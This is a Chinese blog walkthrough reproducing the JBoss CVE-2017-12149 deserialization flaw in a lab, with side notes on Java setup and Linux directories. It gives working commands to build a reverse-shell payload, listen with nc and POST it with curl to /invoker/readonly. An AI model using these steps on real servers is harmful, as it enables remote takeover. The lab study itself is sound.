当前位置:   article > 正文

中间件安全----JBoss漏洞复现_linux安装ysoserial

linux安装ysoserial

JBoss 5.x/6.x 反序列化漏洞(CVE-2017-12149)

该漏洞为 Java反序列化错误类型,存在于 Jboss 的 HttpInvoker 组件中的 ReadOnlyAccessFilter 过滤器中。该过滤器在没有进行任何安全检查的情况下尝试将来自客户端的数据流进行反序列化,从而导致了漏洞。

漏洞分析

攻击机:kali(java环境)
靶机:ubantu–docker

  • 顺便记一下如何配置Java环境:

首先当然是去官网下载好基于Linux的java包,然后跟着下图一把梭没毛病
在这里插入图片描述

安装之前执行 gedit ~/.bashrc , 并添加下列内容

# install JAVA JDK
export JAVA_HOME=/opt/jdk1.8.0_91
export CLASSPATH=.:${JAVA_HOME}/lib
export PATH=${JAVA_HOME}/bin:$PATH
保存退出
执行 source ~/.bashrc
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6

linux系统/opt目录和/usr/local目录有什么区别

一、opt目录

/opt目录用来安装附加软件包,是用户级的程序目录,可以理解为D:/Software。安装到/opt目录下的程序,它所有的数据、库文件等等都是放在同个目录下面。opt有可选的意思,这里可以用于放置第三方大型软件(或游戏),当你不需要时,直接rm -rf掉即可。在硬盘容量不够时,也可将/opt单独挂载到其他磁盘上使用。

二、/usr/local目录

/usr:系统级的目录,可以理解为C:/Windows/。
/usr/lib:理解为C:/Windows/System32。
/usr/local:用户级的程序目录,可以理解为C:/Progrem Files/。用户自己编译的软件默认会安装到这个目录下。
这里主要存放那些手动安装的软件,即不是通过“新立得”或apt-get安装的软件。它和/usr目录具有相类似的目录结构。让软件包管理器来管理/usr目录,而把自定义的脚本(scripts)放到/usr/local目录下面。

bashrc 和 profile 的区别

----profile
其实看名字就能了解大概了, profile 是某个用户唯一的用来设置环境变量的地方, 因为用户可以有多个 shell 比如 bash, sh, zsh 之类的, 但像环境变量这种其实只需要在统一的一个地方初始化就可以了, 而这就是 profile.

----bashrc
bashrc 也是看名字就知道, 是专门用来给 bash 做初始化的比如用来初始化 bash 的设置, bash 的代码补全, bash 的别名, bash 的颜色. 以此类推也就还会有 shrc, zshrc 这样的文件存在了, 只是 bash 太常用了而已.

该漏洞出现在/invoker/readonly请求中,服务器将用户提交的POST内容进行了Java反序列化,这里攻击者就可以构造序列化文件,使得反序列化后的文件可以完成对服务器的控制。

漏洞复现

攻击者只需要构造带有需要执行Payload的ser文件,ser文件时java通过序列化之后的文件,然后使用curl将二进制文件提交至目标服务器的invoker/readonly页面中:

JavaDeserH2HC工具

https://github.com/joaomatosf/JavaDeserH2HC ,首先下载好poc。

在这里插入图片描述

  1. javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java----编译其java文件
  2. java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 192.168.11.129:2333----设置好反弹shell和端口
  3. 新建终端使用kali监听2333端口----nc -lnvp 2333
  4. 将ser文件通过curl上传----curl http://192.168.11.147:8080/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser
  5. 可惜我找不到那个表情包了----kali这里反弹shell成功如图

在这里插入图片描述

ysoserial

原理是一样的,这里在bash反弹的时候需要base64编码即可;

除了这些网上也有一些基于图形化界面的工具也方便的很。

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/我家小花儿/article/detail/69841
推荐阅读
相关标签
  

闽ICP备14008679号